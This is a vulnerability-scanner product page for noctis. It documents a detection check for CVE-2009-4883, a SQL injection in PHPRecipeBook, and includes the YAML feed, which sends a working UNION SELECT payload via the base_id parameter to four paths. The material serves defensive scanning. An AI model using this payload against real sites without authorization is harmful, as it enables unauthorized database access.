PHPRecipeBook — 1 vulnerability check

noctis ships 1 vulnerability check for PHPRecipeBook, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

PHPRecipeBook <= 2.24 SQL Injection (base_id search parameter)

CVECVE-2009-4883
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectiontcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/phprecipebook/CVE-2009-4883.yaml

Detects CVE-2009-4883 by sending a UNION SELECT payload to the recipe search endpoint and confirming the reflected SQL-Injection-Test marker in the HTTP response.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /index.php?m=recipes&a=search&search=yes&base_id=5+union+all+select+1,2,+0x53514c2d49…
  2. Checks resp_root.banner for SQL-Injection-Test → finding QoD 75: PHPRecipeBook SQLi confirmed — UNION SELECT payload on base_id reflected the SQL-Injection-Test marker at …:…/index.php
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /phprecipebook/index.php?m=recipes&a=search&search=yes&base_id=5+union+all+select+1,2…
  4. Checks resp_phprecipebook.banner for SQL-Injection-Test → finding QoD 75: PHPRecipeBook SQLi confirmed — UNION SELECT payload on base_id reflected the SQL-Injection-Test marker at …:…/phprecipebook/index.php
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET /recipebook/index.php?m=recipes&a=search&search=yes&base_id=5+union+all+select+1,2,+0…
  6. Checks resp_recipebook.banner for SQL-Injection-Test → finding QoD 75: PHPRecipeBook SQLi confirmed — UNION SELECT payload on base_id reflected the SQL-Injection-Test marker at …:…/recipebook/index.php
  7. Raw TCP (TLS on HTTPS), sent verbatim: GET /recipe/index.php?m=recipes&a=search&search=yes&base_id=5+union+all+select+1,2,+0x535…
  8. Checks resp_recipe.banner for SQL-Injection-Test → finding QoD 75: PHPRecipeBook SQLi confirmed — UNION SELECT payload on base_id reflected the SQL-Injection-Test marker at …:…/recipe/index.php

References:

Feed source — tests/vulnerabilities/phprecipebook/CVE-2009-4883.yaml
# PHPRecipeBook <= 2.24 — SQL Injection (CVE-2009-4883)
#
# PHPRecipeBook fails to sanitize the `base_id` parameter of the recipe
# search endpoint before using it in an SQL query. An unauthenticated
# attacker injects a UNION SELECT that reflects a marker string drawn from
# the database, confirming injection.
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_phprecipebook_sqli_vuln.nasl
# (GPL-2.0-only). Payload/marker preserved faithfully from the source plugin.
#
# The NASL probes the install under each of http_cgi_dirs() plus the
# dedicated dirs /phprecipebook, /recipebook and /recipe. This feed mirrors
# that by looping over ["", "/phprecipebook", "/recipebook", "/recipe"],
# stopping on the first directory whose response reflects the marker.
#
# The payload carries URL-encoded/`+`-separated tokens that reqwest would
# normalise, so the request is sent verbatim over tcp_connect (HTTP/1.0)
# and the reflected marker is matched on resp.banner.
uid: e69778b1-dc46-4a65-a04b-4755f91efa59
name: "PHPRecipeBook <= 2.24 SQL Injection (base_id search parameter)"
description: |
  Detects CVE-2009-4883 by sending a UNION SELECT payload to the recipe search endpoint
  and confirming the reflected SQL-Injection-Test marker in the HTTP response.
cves: [CVE-2009-4883]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [phprecipebook, sqli, openvas, web-application-abuses]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4883"
  - "OpenVAS/Greenbone NASL 2009/gb_phprecipebook_sqli_vuln.nasl (GPL-2.0-only)"

steps:
  - id: sqli-probe-root
    action: tcp_connect
    port: "{{port}}"
    send: "GET /index.php?m=recipes&a=search&search=yes&base_id=5+union+all+select+1,2,+0x53514c2d496e6a656374696f6e2d54657374,4,5,6,7+from+security_users-- HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp_root

  - id: confirm-sqli-root
    action: match
    source: resp_root.banner
    pattern: "SQL-Injection-Test"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "PHPRecipeBook SQLi confirmed — UNION SELECT payload on base_id reflected the SQL-Injection-Test marker at {{target_host}}:{{port}}/index.php"
      stop: true

  - id: sqli-probe-phprecipebook
    action: tcp_connect
    port: "{{port}}"
    send: "GET /phprecipebook/index.php?m=recipes&a=search&search=yes&base_id=5+union+all+select+1,2,+0x53514c2d496e6a656374696f6e2d54657374,4,5,6,7+from+security_users-- HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp_phprecipebook

  - id: confirm-sqli-phprecipebook
    action: match
    source: resp_phprecipebook.banner
    pattern: "SQL-Injection-Test"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "PHPRecipeBook SQLi confirmed — UNION SELECT payload on base_id reflected the SQL-Injection-Test marker at {{target_host}}:{{port}}/phprecipebook/index.php"
      stop: true

  - id: sqli-probe-recipebook
    action: tcp_connect
    port: "{{port}}"
    send: "GET /recipebook/index.php?m=recipes&a=search&search=yes&base_id=5+union+all+select+1,2,+0x53514c2d496e6a656374696f6e2d54657374,4,5,6,7+from+security_users-- HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp_recipebook

  - id: confirm-sqli-recipebook
    action: match
    source: resp_recipebook.banner
    pattern: "SQL-Injection-Test"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "PHPRecipeBook SQLi confirmed — UNION SELECT payload on base_id reflected the SQL-Injection-Test marker at {{target_host}}:{{port}}/recipebook/index.php"
      stop: true

  - id: sqli-probe-recipe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /recipe/index.php?m=recipes&a=search&search=yes&base_id=5+union+all+select+1,2,+0x53514c2d496e6a656374696f6e2d54657374,4,5,6,7+from+security_users-- HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp_recipe

  - id: confirm-sqli-recipe
    action: match
    source: resp_recipe.banner
    pattern: "SQL-Injection-Test"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "PHPRecipeBook SQLi confirmed — UNION SELECT payload on base_id reflected the SQL-Injection-Test marker at {{target_host}}:{{port}}/recipe/index.php"
      stop: true

View these feeds on GitHub